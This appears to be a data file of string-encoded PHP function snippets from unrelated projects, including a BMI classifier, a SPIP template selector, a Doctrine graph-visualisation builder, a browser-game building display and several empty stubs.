karena anda termasuk kategori obesitas/ terlalu gemuk dan tidak baik bagi kesehatan.\";\n\t\t}\n\t}elseif ($g == \"Pria\") {\n\t\tif(bmi($bb,$tb) < 17 ){\n\t\t\t$ket = \"Under Weight / Kurus dan saran dari kami tambah konsumsi makanan berkalori.\";\n\t\t}elseif (bmi($bb,$tb) >= 17 && bmi($bb,$tb) <=23) {\n\t\t\t$ket = \"Normal Weight / Normal dan selamat berat badan anda termasuk ideal.\";\n\t\t}elseif (bmi($bb,$tb) > 23 && bmi($bb,$tb) <=27) {\n\t\t\t$ket = \"Over Weight / Kegemukan dan harus waspada.\";\n\t\t}elseif (bmi($bb,$tb) > 27) {\n\t\t\t$ket = \"Obesitas dan saran dari kami sebaiknya memulai program menurunkan berat badan agar lebih ideal.\";\n\t\t}\n\t}\nreturn $ket;\n}", "public function linea_colectivo();", "function addBio($bio, $db) {\n $query = $db->prepare(\"INSERT INTO Bio (Titre, Description) VALUES (?)\");\n $query->execute([$bio[\"Titre\"], $bio[\"Description\"]]);\n}", "abstract public function infoAll();", "public function add_information() \r\n {}", "public function add_information() \r\n {}", "function __construct() {\n\t\tparent::__construct();\n $this->vista->setTitle('Cursos');\n\t\t$this->TSubgrupo = new TSubgrupo();\n\t\t$this->TPrograma = new TPrograma();\n\t }", "public function getChapeau();", "function public_styliser($fond, $id_rubrique, $lang) {\r\n // pour des raisons historiques, ce qui est trompeur\r\n\t$ext = 'html';\r\n\t// Accrocher un squelette de base dans le chemin, sinon erreur\r\n\tif (!$base = find_in_path(\"$fond.$ext\")) {\r\n\t\tinclude_spip('public/debug');\r\n\t\terreur_squelette(_T('info_erreur_squelette2',\r\n\t\t\tarray('fichier'=>\"'$fond'\")),\r\n\t\t\t$GLOBALS['dossier_squelettes']);\r\n\t\t$f = find_in_path(\"404.$ext\");\r\n\t\treturn array(substr($f, 0, -strlen(\".$ext\")),\r\n\t\t\t $ext,\r\n\t\t\t $ext,\r\n\t\t\t $f);\r\n\t}\r\n\r\n\t// supprimer le \".html\" pour pouvoir affiner par id_rubrique ou par langue\r\n\t$squelette = substr($base, 0, - strlen(\".$ext\"));\r\n\t\r\n\t// Traitement pour afficher page accueil de spip-Genea\r\n\tglobal $table_prefix;\r\n\tunset($squel);\r\n\t$id_rubrique=intval($id_rubrique);\r\n\tif (($id_rubrique>0) AND ($fond==\"rubrique\")) {\r\n\t\t$query = \"SELECT id_genea FROM \" . $table_prefix . \"_genea WHERE id_rubrique=$id_rubrique\";\r\n\t\t$result = spip_query($query);\r\n\t\tif ($row=spip_fetch_array($result)) $id_genea = intval($row['id_genea']);\r\n\t\tif ($id_genea>0) {\r\n\t\t\tif ( $squel=find_in_path(\"genea_accueil.$ext\") ) $squelette = substr($squel, 0, - strlen(\".$ext\"));\r\n\t\t}\r\n\t}\t\r\n\r\n\t// Traitement normal\r\n\tif (!$squel) {\r\n\t\t// On selectionne, dans l'ordre :\r\n\t\t// fond=10\r\n\t\t$f = \"$fond=$id_rubrique\";\r\n\t\tif (($id_rubrique > 0) AND ($squel=find_in_path(\"$f.$ext\")))\r\n\t\t\t$squelette = substr($squel, 0, - strlen(\".$ext\"));\r\n\t\telse {\r\n\t\t\t// fond-10 fond-<rubriques parentes>\r\n\t\t\twhile ($id_rubrique > 0) {\r\n\t\t\t\t$f = \"$fond-$id_rubrique\";\r\n\t\t\t\tif ($squel=find_in_path(\"$f.$ext\")) {\r\n\t\t\t\t\t$squelette = substr($squel, 0, - strlen(\".$ext\"));\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t\t$id_rubrique = sql_parent($id_rubrique);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\t\r\n\t// Affiner par lang\r\n\tif ($lang) {\r\n\t\tlang_select($lang);\r\n\t\t$f = \"$squelette.\".$GLOBALS['spip_lang'];\r\n\t\tlang_dselect();\r\n\t\tif (@file_exists(\"$f.$ext\"))\r\n\t\t\t$squelette = $f;\r\n\t}\r\n\r\n\treturn array($squelette, $ext, $ext, \"$squelette.$ext\");\r\n}", "public static function parler()\n {\n echo 'Je suis un personnage <br/>';\n }", "public function description(){ return $this->name . \" [\" . $this->ID . \"]\"; }", "function argentinagobar_bloques_imagen_destacada_admin_info($subtype, $conf, $contexts)\n{\n if (!empty($conf)) {\n $block = new stdClass;\n $block->title = isset($conf['override_title']) ? $conf['override_title_text'] : t('Imagen destacada');\n $block->content = t('Imagen destacada.');\n return $block;\n }\n}", "private function aggregateVizDataNodeLink()\n {\n global $PLACEWEB_CONFIG;\n \n $nodeLinkCollection = array();\n $conceptIdsA = array();\n $tagIdsA = array();\n $examplesIdsA = array();\n $questionsIdsA = array();\n \t\n\t\t// create home node\n\t\t$myHomeNode = new EloNode();\n\t\t\n\t\t// set vals for that node : id and name\n\t\t$myHomeNode->id = $_SESSION['group_name'];\n\t\t$myHomeNode->name = $_SESSION['group_name'];\n\t\t\n\t\t// custom data attributes\n\t\t$myHomeNode->setDataAttribute(\"elo\", \"Home\");\n\t\t\n\t\t// redefine JIT essential attr\n\t\t$myHomeNode->setDataAttribute('$type', 'star');\n\t\t$myHomeNode->setDataAttribute('$color', '#475DFF');\n\t\t\n\t\t////////////////////////////////////////////////////////\n\n\t\t// if \"all concepts\" is NOT selected\n\t\tif(isset($this->params['conceptId']) && !in_array('0', $this->params['conceptId'])) {\n\t\t\t$conceptIds = $this->params['conceptId'];\n\t\t\t$concepts = Doctrine_Query::create()\n //->select(\"*\")\n ->from(\"Concept\")\n ->whereIn(\"id\", $conceptIds)\n ->andWhere(\"run_id = ?\", $_SESSION['run_id'])\n ->execute();\n\t\t} else {\n\t // get concepts for current run_id\n\t $concepts = Doctrine::getTable(\"Concept\")\n\t ->findByDql(\"run_id = ?\", $_SESSION['run_id']);\n\t\t}\n\n\t\t// add concepts\n\t\tforeach ($concepts as $concept)\n {\n \t$conceptIdsA[] = \"CON_\".$concept->id;\n\n \t// create concept node\n\t\t\t$myConNode = new EloNode();\n\t\t\t\n\t\t\t// set vals for that node : id and name\n\t\t\t$myConNode->id = \"CON_\".$concept->id;\n\t\t\t$myConNode->name = $concept->name;\n\t\t\t\n\t\t\t// custom data attributes\n\t\t\t$myConNode->setDataAttribute(\"elo\", \"Concept\");\n \t\n\t\t\t// create Adjacency Object\n\t\t\t$conAdjency = new EloNodeAdjacency($myConNode->id, $myHomeNode->id);\n\t\t\t\n\t\t\t// add concept as adjacency to home node\n\t\t\t$myHomeNode->addAdjacency($conAdjency);\n\n\t\n\t\t\t///////////////////////////////////\n\t\t\t// find examples\n\t\t\t\n\t\t\t$exWhereFields = 'ec.run_id = ? AND ec.concept_id = ?';\n\t\t\t$exWhereData = array($_SESSION['run_id'], $concept->id);\n\t\t\t\n\t\t\t$queryArray = $this->buildExSqlQuery($exWhereFields, $exWhereData);\n\t\t\t\n\t\t\t$this->view->data = $queryArray;\n\t\t\t\n\t\t\t\t$q = Doctrine_Query::create()\n\t\t\t\t->select (\"ec.id, e.id, e.name, e.content, e.media_content, e.media_type, u.display_name\")\n\t\t\t\t->from(\"ExampleConcept ec\")\n\t\t\t\t->innerJoin(\"ec.Example e\")\n\t\t\t\t->innerJoin(\"e.User u\")\n\t\t\t\t->where($queryArray[0], $queryArray[1]);\n\n\t\t\t$examples = $q->fetchArray();\n\n \t\t\t// add examples attached to this concept\n\t\t\tif(isset($examples) && count($examples!=0) && $this->params['vizEx']==1) \n\t\t\t{\n\t\t\t\tforeach($examples as $exConcept)\n\t\t\t\t{\n\t\t\t\t\t// get votes for an example_concept\n\t\t\t\t\t$ex_con_votes = array();\n\t\t\t\t\t$ex_con_votes = $this->countVotes($exConcept['id'], 4);\n\t\t\t\t\t\n\t\t\t\t\t/*\n\t\t\t\t\t * Tag Node\n\t\t\t\t\t */\n\t\t\t\t\t$tagIdsA[] = \"EX_CON_TAG_\".$exConcept['id'];\n\t\t\t\t\t\n\t\t\t\t\t// create tag node\n\t\t\t\t\t$exTagSum = new EloNode();\n\n\t\t\t\t\t// set vals for that node : id and name\n\t\t\t\t\t$exTagSum->id = \"EX_CON_TAG_\".$exConcept['id']; // this is unique\n\t\t\t\t\t$exTagSum->name = '['.$ex_con_votes['votesSumm'].']';\n\t\t\t\t\t\n\t\t\t\t\t// custom data attributes\n\t\t\t\t\t$exTagSum->setDataAttribute('$type', 'none');\n\t\t\t\t\t$exTagSum->setDataAttribute(\"elo\", \"Tag\");\n\t\t\t\t\t//$exTagSum->setDataAttribute('$color', '#80B376');\n\t\t\t\t\t$exTagSum->setDataAttribute(\"votes\", $ex_con_votes['votesMinus']. ' ['.$ex_con_votes['votesSumm'].'] '.$ex_con_votes['votesPlus']);\n\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t// create Adjacency Object\n\t\t\t\t\t$exTagSumAdjency = new EloNodeAdjacency($exTagSum->id, $myConNode->id);\n\t\t\t\t\t\n\t\t\t\t\tif ($this->params['vizVo']==1)\n\t\t\t\t\t{\n\t\t\t\t\t\t// add tag as adjacencies of concept node\n\t\t\t\t\t\t$myConNode->addAdjacency($exTagSumAdjency); \n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t/*\n\t\t\t\t\t * example node\n\t\t\t\t\t */\n\t\t\t\t\t$examplesIdsA= \"EX_\".$exConcept['Example']['id'];\n\t\t\t\t\t\n\t\t\t\t\t// create tag node\n\t\t\t\t\t$exNode = new EloNode();\n\n\t\t\t\t\t// set vals for that node : id and name\n\t\t\t\t\t$exNode->id = \"EX_\".$exConcept['Example']['id'];\n\t\t\t\t\t$exNode->name = $exConcept['Example']['name'];\n\t\t\t\t\t$exNode->setDataAttribute('$type', 'triangle');\n\t\t\t\t\t$exNode->setDataAttribute('$color', '#80B376');\n\t\t\t\t\t$exNode->setDataAttribute('elo', 'Example');\n\t\t\t\t\t$exNode->setDataAttribute('ref_id', $exConcept['Example']['id']);\n\t\t\t\t\t$exNode->setDataAttribute('author', $exConcept['Example']['User']['display_name']);\n\t\t\t\t\t$exNode->setDataAttribute('content', $exConcept['Example']['content']);\n\t\t\t\t\t$exNode->setDataAttribute('media_content', $exConcept['Example']['media_content']);\n\n\t\t\t\t\t// check if it is a video\n\t\t\t\t\tif (preg_match(\"/video/i\", $exConcept['Example']['media_type']))\n\t\t\t\t\t{\n\t\t\t\t\t\t$isVideo=\"1\";\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$isVideo=\"0\";\n\t\t\t\t\t}\n\t\t\t\t\t$exNode->setDataAttribute('is_video', $isVideo); \n\t\t\t\t\t\n\t\t\t\t\t// create Adjacency Object\n\t\t\t\t\tif ($this->params['vizVo']==1)\n\t\t\t\t\t{\n\t\t\t\t\t\t$exAdjency = new EloNodeAdjacency($exNode->id, $exTagSum->id);\n\t\t\t\t\t\t\n\t\t\t\t\t\t// add example as adjacencies of tag node\n\t\t\t\t\t\t$exTagSum->addAdjacency($exAdjency);\n\t\t\t\t\t\t\n\t\t\t\t\t\t// add tag node to collection \n\t\t\t\t\t\t$nodeLinkCollection[]=$exTagSum;\n\t\t\t\t\t\t\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$exAdjency = new EloNodeAdjacency($exNode->id, $myConNode->id);\n\t\t\t\t\t\t// add example as adjacencies of concept node\n\t\t\t\t\t\t$myConNode->addAdjacency($exAdjency);\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t// add example node to collection\n\t\t\t\t\t$nodeLinkCollection[]=$exNode;\n\n\t\t\t\t} // end loop example_concept\n\t\t\t\t\n\t\t\t} // end if examples\n\n\n\t\t\t///////////////////////////////////\n\t\t\t// find questions\n\t\t\t$quWhereFields = 'qc.run_id = ? AND qc.concept_id = ? AND q.is_published = ?';\n\t\t\t$quWhereData = array($_SESSION['run_id'],$concept->id,1);\n\t\t\t\n\t if($this->params['valueAA']!=\"\" && $this->params['valueBB']!=\"\" && $this->params['vizDate']==1)\n\t\t\t{\n\t\t\t\t$quWhereFields .= ' AND q.date_created BETWEEN ? AND ?';\n\t\t\t\t$quWhereData[] = date( 'Y-m-d H:i:s', $this->params['valueAA']);\n\t\t\t\t$quWhereData[] = date( 'Y-m-d H:i:s', $this->params['valueBB']);\n\t\t\t}\n\t\t\t\t\t\n\t\t\t$q1 = Doctrine_Query::create()\n\t\t\t\t->select (\"qc.id, q.id, q.name, q.content, q.media_content, u.display_name\")\n\t\t\t\t->from(\"QuestionConcept qc\")\n\t\t\t\t->innerJoin(\"qc.Question q\")\n\t\t\t\t->innerJoin(\"q.User u\")\n\t\t\t\t->where($quWhereFields, $quWhereData);\t\t\t\t\t\n\t\t\t$questions = $q1->fetchArray();\n\t\t\t\n\t\t\t// add questions attached to this concept\n\t\t\tif(isset($questions) && count($questions!=0) && $this->params['vizQu']==1)\n\t\t\t{\n\t\t\t\tforeach($questions as $quConcept)\n\t\t\t\t{\n\t\t\t\t\t// get votes for a question_concept\n\t\t\t\t\t$qu_con_votes = array();\n\t\t\t\t\t\n\t\t\t\t\t$qu_con_votes = $this->countVotes($quConcept['id'], 5);\n\t\t\t\t\t\n\t\t\t\t\t/*\n\t\t\t\t\t * Tag Node\n\t\t\t\t\t */\n\t\t\t\t\t// create tag node\n\t\t\t\t\t$quTagSum = new EloNode();\n\n\t\t\t\t\t// set vals for that node : id and name\n\t\t\t\t\t$quTagSum->id = \"QU_CON_TAG_\".$quConcept['id']; // this is unique\n\t\t\t\t\t$quTagSum->name = '['.$qu_con_votes['votesSumm'].']';\n\t\t\t\t\t\n\t\t\t\t\t// custom data attributes\n\t\t\t\t\t$quTagSum->setDataAttribute('$type', 'none');\n\t\t\t\t\t$quTagSum->setDataAttribute(\"elo\", \"Tag\");\n\t\t\t\t\t//$quTagSum->setDataAttribute('$color', '#80B376');\n\t\t\t\t\t$quTagSum->setDataAttribute(\"votes\", $qu_con_votes['votesMinus']. ' ['.$qu_con_votes['votesSumm'].'] '.$qu_con_votes['votesPlus']);\n\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t// create Adjacency Object\n\t\t\t\t\t$quTagSumAdjency = new EloNodeAdjacency($quTagSum->id, $myConNode->id);\n\t\t\t\t\t\n\t\t\t\t\tif ($this->params['vizVo']==1)\n\t\t\t\t\t{\n\t\t\t\t\t\t// add tag as adjacencies of concept node\n\t\t\t\t\t\t$myConNode->addAdjacency($quTagSumAdjency); \n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t/*\n\t\t\t\t\t * question node\n\t\t\t\t\t */\n\t\t\t\t\t// create tag node\n\t\t\t\t\t$quNode = new EloNode();\n\n\t\t\t\t\t// set vals for that node : id and name\n\t\t\t\t\t$quNode->id = \"QU_\".$quConcept['Question']['id'];\n\t\t\t\t\t$quNode->name = $quConcept['Question']['name'];\n\t\t\t\t\t$quNode->setDataAttribute('$type', 'triangle');\n\t\t\t\t\t$quNode->setDataAttribute('$color', '#D40015');\n\t\t\t\t\t$quNode->setDataAttribute('elo', 'Question');\n\t\t\t\t\t$quNode->setDataAttribute('ref_id', $quConcept['Question']['id']);\n\t\t\t\t\t$quNode->setDataAttribute('author', $quConcept['Question']['User']['display_name']);\n\t\t\t\t\t$quNode->setDataAttribute('content', $quConcept['Question']['content']);\n\t\t\t\t\t$quNode->setDataAttribute('media_content', $quConcept['Question']['media_content']);\n\n\t\t\t\t\t// check if it is a video\n\t\t\t\t\tif (preg_match(\"/video/i\", $quConcept['Question']['media_type']))\n\t\t\t\t\t{\n\t\t\t\t\t\t$isVideo=\"1\";\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$isVideo=\"0\";\n\t\t\t\t\t}\n\t\t\t\t\t$quNode->setDataAttribute('is_video', $isVideo); \n\t\t\t\t\t\n\t\t\t\t\t// create Adjacency Object\n\t\t\t\t\tif ($this->params['vizVo']==1)\n\t\t\t\t\t{\n\t\t\t\t\t\t$quAdjency = new EloNodeAdjacency($quNode->id, $quTagSum->id);\n\t\t\t\t\t\t\n\t\t\t\t\t\t// add question as adjacencies of tag node\n\t\t\t\t\t\t$quTagSum->addAdjacency($quAdjency);\n\t\t\t\t\t\t\n\t\t\t\t\t\t// add tag node to collection \n\t\t\t\t\t\t$nodeLinkCollection[]=$quTagSum;\n\t\t\t\t\t\t\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$quAdjency = new EloNodeAdjacency($quNode->id, $myConNode->id);\n\t\t\t\t\t\t// add question as adjacencies of concept node\n\t\t\t\t\t\t$myConNode->addAdjacency($quAdjency);\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t// add question node to collection\n\t\t\t\t\t$nodeLinkCollection[]=$quNode;\n\n\n\t\t\t\t} // end loop question_concept\n\t\t\t\t\n\t\t\t}\n\t\t\t///////////////////////////////////\n\t\t\t\n\t // add concept to collection\n\t $nodeLinkCollection[]=$myConNode;\n\t \n } // end loop concepts\n\n // add home node to collection \n $nodeLinkCollection[]=$myHomeNode;\n \n return json_encode($nodeLinkCollection);\n\t\t\n }", "public function __construct( $oDiagram ) {\n\t\tparent::__construct( $oDiagram );\n\t}", "public function edit(Biologica $biologica)\n {\n //\n }", "public function __construct(){\n\t\t//asi poder tener dispoble la vista que le pertenece a esta clase\n\t\tparent::__construct();\n\t}", "function absender_bestimmen($absender,$db){\n$query1=\"select * from user\";\n\t$antwort1=$db->query($query1);\n\t$antwort1=array_bildung($antwort1);\n\t\n\t$i=0;\n\tforeach($absender[Absender] as $name => $inhalt){\n\tif($inhalt==0){\n\t\t$absender[Absender][$i]=\"Information an Alle !\";\n\t}\n\t\n\t\t$k=0;\n\t\tforeach($antwort1[id] as $name1 => $inhalt1){\n\t\t\tif($inhalt==$inhalt1){\n\t\t\t\t$absender[Absender][$i]=$antwort1[Name][$k].\"&nbsp;&nbsp;\".$antwort1[Vorname][$k].\"&nbsp;&nbsp;- \".$antwort1[Bemerkung][$k].\" -\";\n\t\t\t}\n\t\t$k++;\n\t\t}\n\t$i++;\n\t}\n\treturn $absender;\n}", "public function HM_CategoCuentas()\n {\n }", "function rekamMedis($nomor_pasien)\n\t{\n\n\t}", "function palabraDescubierta($coleccionLetras){\n \n /*>>> Completar el cuerpo de la función, respetando lo indicado en la documentacion <<<*/\n}", "public function contrato()\r\n\t{\r\n\t}", "public function __construct($_cognome, $_nome, $_matricola)\n {\n // matricola è un attributo della classe padre 'Dipendente'\n // richiamo il costruttore della classe padre con i suoi parametri\n parent::__construct($_cognome, $_nome, $_matricola);\n\n $this -> data_nascita = \"non presente\";\n $this -> email = \"[email protected]\";\n $this -> telefono = \"0000000000\";\n\n echo 'Creo un Dipendente di classe: <strong>'. __CLASS__ . '</strong><br />';\n\n\n }", "function cl_tfd_bpamagnetico() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"tfd_bpamagnetico\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "function AfficheBatiment(batiment &$batiment, personnage &$oJoueur = NULL, maison &$oMaison = NULL){\r\n\t$ImgSize = 'height';\r\n\t$txt = NULL;\r\n\r\n\t$contenu = 'Ne peut rien contenir';\r\n\t\r\n\t$chkPositionJoueur = false;\r\n\t$nbLigne = 3;\r\n\t\r\n\tif(!is_null($oJoueur)){\t\r\n\t\t$chkPositionJoueur\t\t= $oJoueur->GetCoordonnee() == $batiment->GetCoordonnee();\r\n\t}\r\n\t\r\n\t$chkMarche = false;\r\n\t\r\n\t$lstBatimentAvecEsclaves = array(ferme::ID_BATIMENT, potager::ID_BATIMENT, mine::ID_BATIMENT, carriere::ID_BATIMENT, scierie::ID_BATIMENT);\r\n\r\n\tswitch($batiment->GetIDType()){\r\n\t\tcase maison::ID_BATIMENT:\r\n\t\t\t$ImgSize = 'width';\r\n\t\t\tif($chkPositionJoueur){\r\n\t\t\t\t$contenu = '<p>Ne peut rien contenir.</p>';\r\n\t\t\t\t$chkOptions = false;\r\n\t\t\t}else{\r\n\t\t\t\t$contenu = '<p>Si ici que vous devez vous placer pour vous inscrire ou valider une quête.</p>';\r\n\t\t\t}\r\n\t\t\tbreak;\r\n\t\t/* case 'bank':\r\n\t\t\t$contenu = $batiment->AfficheContenu($oJoueur);\r\n\t\t\tbreak; */\r\n\t\tcase scierie::ID_BATIMENT:\r\n\t\tcase ferme::ID_BATIMENT:\r\n\t\tcase mine::ID_BATIMENT :\r\n\t\tcase potager::ID_BATIMENT:\r\n\t\tcase carriere::ID_BATIMENT:\r\n\t\t\t$ImgSize = 'width';\r\n\t\t\tif(!is_null($oJoueur)){\t$contenu = $batiment->AfficheContenu($oJoueur);}\r\n\t\t\tbreak;\r\n\t\tcase marche::ID_BATIMENT:\r\n\t\t\tif($chkPositionJoueur){\r\n\t\t\t\t$chkMarche = true;\r\n\t\t\t}else{\r\n\t\t\t\t$contenu = '<p>Vous devez vous placez sur son emplacement pour afficher les transactions disponibles.</p>';\r\n\t\t\t}\r\n\t\t\tbreak;\r\n\t}\r\n\tif(in_array($batiment->GetIDType(), $lstBatimentAvecEsclaves))\r\n\t{\r\n\t\t$arLignes[3] = '\r\n\t\t\t<tr>\r\n\t\t\t\t<td>'\r\n\t\t.(!is_null($oJoueur)?\r\n\t\t$batiment->AfficheAchatEsclave($oJoueur)\r\n\t\t:'Possibilité d\\'acheter des esclaves pour augmenter sa production')\r\n\t\t.'</td>\r\n\t\t\t</tr>';\r\n\t\t$nbLigne++;\r\n\t}\r\n\t\r\n\tif(!is_null($oJoueur))\r\n\t{\r\n\t\t$arLignes[2] = '\r\n\t\t\t<tr><td>'.$batiment->AfficheOptionAmeliorer($oJoueur, $oMaison).'</td></tr>';\r\n\t\t$arLignes[4] = '\r\n\t\t\t<tr>\r\n\t\t\t\t<td>'\r\n\t\t\t\t\t.'<img alt=\"Barre status\" src=\"./fct/fct_image.php?type=statusetat&amp;value='.$batiment->GetEtat().'&amp;max='.$batiment->GetEtatMax().'\" />'\r\n\t\t\t\t\t.'<br />'\r\n\t\t\t\t\t.$batiment->AfficheOptionReparer($oJoueur)\r\n\t\t\t\t.'</td>\r\n\t\t\t</tr>';\r\n\t\t$arLignes[7] = '\r\n\t\t\t<tr><td>'.$contenu.'</td></tr>';\r\n\t\r\n\t\t$nbLigne+=3;\r\n\t\t\r\n\t\tif($batiment->GetIDType() == marche::ID_BATIMENT)\r\n\t\t{\r\n\t\t\t$arLignes[8] = '\r\n\t\t\t<tr><td>'.$batiment->AfficheTransactions($oJoueur).'</td></tr>';\r\n\t\t\t\r\n\t\t\t$nbLigne++;\r\n\t\t}\r\n\t}\r\n\t\r\n\t$arLignes[5] = '\r\n\t\t\t<tr>\r\n\t\t\t\t<td>\r\n\t\t\t\t\t<ul style=\"list-style-type:none; padding:0px; text-align:center; margin:0px;\">\r\n\t\t\t\t\t\t<li style=\"display:inline;\">'.AfficheIcone(objArmement::TYPE_ATTAQUE).' : '.(is_null($batiment->GetAttaque())?'0':$batiment->GetAttaque()).'</li>\r\n\t\t\t\t\t\t<li style=\"display:inline; margin-left:40px;\">'.AfficheIcone(objArmement::TYPE_DISTANCE).' : '.(is_null($batiment->GetDistance())?'0':$batiment->GetDistance())\t.'</li>\r\n\t\t\t\t\t\t<li style=\"display:inline; margin-left:40px;\">'.AfficheIcone(objArmement::TYPE_DEFENSE).' : '.(is_null($batiment->GetDefense())?'0':$batiment->GetDefense()).'</li>\r\n\t\t\t\t\t</ul>\r\n\t\t\t\t</td>\r\n\t\t\t</tr>';\r\n\t$arLignes[6] = '\r\n\t\t\t<tr><td>'.$batiment->GetDescription().'</td></tr>';\r\n\t$arLignes[1] = '\r\n\t\t\t<tr>\r\n\t\t\t\t<td rowspan=\"'.$nbLigne.'\" style=\"width:400px;\">\r\n\t\t\t\t\t<img alt=\"'.$batiment->GetType().'\" src=\"./img/batiments/'.$batiment->GetType().'.png\" width=\"400px\" onmouseover=\"montre(\\''.CorrectDataInfoBulle($batiment->GetDescription()).'\\');\" onmouseout=\"cache();\"/>\r\n\t\t\t\t</td>\r\n\t\t\t\t<th>'\r\n\t\t\t\t\t.(!is_null($oJoueur)?\r\n\t\t\t\t\t\t'<a name=\"'.str_replace(',', '_', $batiment->GetCoordonnee()).'\">'\r\n\t\t\t\t\t\t:NULL)\r\n\t\t\t\t\t.$batiment->GetNom((!is_null($oJoueur)?$oJoueur->GetCivilisation():personnage::CIVILISATION_GAULOIS)).(!is_null($oJoueur)?' ('.$batiment->GetNiveau().' / '.$batiment->GetNiveauMax().')':NULL)\r\n\t\t\t\t\t.(!is_null($oJoueur)?\r\n\t\t\t\t\t\t'</a>'\r\n\t\t\t\t\t\t:NULL)\r\n\t\t\t\t.'</th>\r\n\t\t\t</tr>';\r\n\t\r\n\t//on trie par keys\r\n\tksort($arLignes);\r\n\t\r\n\treturn implode('', $arLignes);\r\n}", "public function lectureContenu ()\n {\n\n //$metadata = simplexml_load_file(\"xmoddledata/metadata.xml\");\n\n // on Vérifie si le cours existe\n\n /* @TODO Partie à décommenter lorsque le module de navigation sera intégré au reste de l'application */\n\n // $nbrCours = $metadata->attributes()->nbrCours;\n // $isFound = false;\n // $i = 0;\n // for ($i = 0; $i < $nbrCours; $i++) {\n // if ($metadata->cours[$i]->attributes()->title == $title && $metadata->cours[$i]->attributes()->id == $id) {\n // $isFound = true;\n // break;\n // }\n // }\n\n // if ($isFound) {\n //$cours = simplexml_load_file(\"xmoddledata/\" . $metadata->cours[$i]->attributes()->id . \"_\" . $metadata->cours[$i]->attributes()->title . \"/description.xml\"); \n\n $description = simplexml_load_file('xmoddledata/2_ModeleDeSupport2/description.xml');\n $notions = simplexml_load_file('xmoddledata/2_ModeleDeSupport2/descriptionNotions.xml');\n\n // Création d'un tableau associatif de notions avec l'id comme clé\n\n $notionsArray = $this->getNotions($notions);\n\n // Construction de la navigation\n $text_parties = \"\";\n $nav_parties = [];\n for ($i = 0; $i < $description->attributes()->nbrParties; $i++) {\n $text_parties = \"<div style='\";\n $text_parties .= $this->getStyle($description->partie[$i]->attributes());\n $text_parties .= \"'\";\n $text_parties .= \" id='\".$i.\"'>\";\n $nav_chapitres = [];\n $text_parties .= $description->partie[$i]->attributes()->title;\n $text_parties .= \"</div>\";\n $text_parties .= \"<br/><br/>\";\n $text_chapitres = \"\";\n for ($j = 0; $j < $description->partie[$i]->attributes()->nbrChapitres; $j++) {\n $text_chapitres .= \"<div style='\";\n $text_chapitres .= $this->getStyle($description->partie[$i]->chapitre[$j]->attributes());\n $text_chapitres .= \"'\";\n $text_chapitres .= \" id='\".$i.\"_\".$j.\"'>\";\n $nav_paragraphes = [];\n $text_chapitres .= $description->partie[$i]->chapitre[$j]->attributes()->title;\n $text_chapitres .= \"</div>\";\n $text_chapitres .= \"<br/><br/>\";\n $text_paragraphes = \"\";\n for ($k = 0; $k < $description->partie[$i]->chapitre[$j]->attributes()->nbrParagraphes; $k++) {\n // On renseigne le titre du paragraphe\n $text_paragraphes .= \"<div style='\";\n $text_paragraphes .= $this->getStyle($description->partie[$i]->chapitre[$j]->paragraphe[$k]->attributes());\n $text_paragraphes .= \"'\";\n // Ajout d'un ancre de navigation\n $text_paragraphes .= \" id='\".$i.\"_\".$j.\"_\".$k.\"'>\";\n $text_paragraphes .= $description->partie[$i]->chapitre[$j]->paragraphe[$k]->attributes()->title;\n $text_paragraphes .= \"</div>\";\n $text_paragraphes .= \"<br/>\";\n // Navigation avec paragraphes\n $nav_paragraphes[\"\".$i.\"_\".$j.\"_\".$k] = $description->partie[$i]->chapitre[$j]->paragraphe[$k]->attributes()->title;\n // On remplit les notions contenus dans le paragraphe\n for ($l = 0; $l < $description->partie[$i]->chapitre[$j]->paragraphe[$k]->attributes()->nbrNotions; $l++) {\n $text_paragraphes .= $notionsArray[\"\".$description->partie[$i]->chapitre[$j]->paragraphe[$k]->notion[$l]->attributes()->id];\n }\n }\n $text_chapitres .= $text_paragraphes;\n $nav_chapitres[\"\".$i.\"_\".$j] = $nav_paragraphes;\n }\n $text_parties .= $text_chapitres;\n $nav_parties[\"\".$i] = $nav_chapitres;\n }\n// dd($nav_parties);\n// dd($navigation);\n// dd($description);\n\n // Construction de la page web\n $titre = $description->attributes()->title;\n// dd($description);\n// forearch( $navigation->partie[] as $partie) {\n// dd($pantie);\n// }\n// dd($titre);\n\n\n // $notions = simplexml_load_file(\"../../../fichiersdestructuration/descriptionNotions.xml\");\n\n\n // $nbrNotions = $cours->attributes()->nbrNotions;\n // $notionsConvertis = array();\n // for ($i = 0; $i < $nbrNotions; $i++) {\n // $attributs = $cours->notion[$i]->attributes();\n // $style = \"\";\n // if ($attributs['font-weight'] != null) {\n // $style .= 'font-weight:' . $attributs['font-weight'] . \";\";\n // }\n // if ($attributs['font-size'] != null) {\n // $style .= 'font-size:' . $attributs['font-size'] . \";\";\n // }\n\n // if ($attributs['font-family'] != null) {\n // $style .= 'font-family:' . $attributs['font-family'] . \";\";\n // }\n\n // if ($attributs['color'] != null) {\n // $style .= 'color:' . $attributs['color'] . \";\";\n // }\n\n // if ($attributs['text-decoration'] != null) {\n // $style .= 'text-decoration:' . $attributs['text-decoration'] . \";\";\n // }\n\n // $text = \"\";\n // foreach ($cours->notion[$i]->children() as $child) {\n // $text .= $child->asXML();\n // }\n // $notionHtml = \"<div style='\";\n // $notionHtml .= $style;\n // $notionHtml .= \"'>\";\n // $notionHtml .= $text;\n // $notionHtml .= \"</div>\";\n\n\n // //dd(strval($text));\n // array_push($notionsConvertis, $notionHtml);\n\n // }\n // }else{\n // return view(\"/\");\n // }\n //$notions = $notionsConvertis;\n // return response()->json($notions,200);\n\n // return \"lecture cours\";\n return 0;\n }", "function 